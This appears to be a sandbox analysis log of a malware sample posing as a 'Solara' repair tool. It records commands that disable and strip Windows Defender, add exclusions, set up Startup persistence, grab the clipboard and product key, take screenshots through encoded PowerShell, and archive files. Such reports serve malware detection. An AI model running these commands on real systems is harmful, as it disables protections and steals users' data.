Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior

Removes signatures from Windows Defender

Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior

Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Users\user\Desktop\cmd.exe "C:\Users\user\Desktop\cmd.exe"	Jump to behavior
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe a -r -hp"blank" "C:\Users\user\AppData\Local\Temp\DBdXv.zip" *"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Solara has been repaired.', 0, 'Solara \| Repaired', 48+16);close()"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.cmdline"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES74CA.tmp" "c:\Users\user\AppData\Local\Temp\bcdu5fii\CSC91B7380AF2C2414A909984B12C6688DE.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
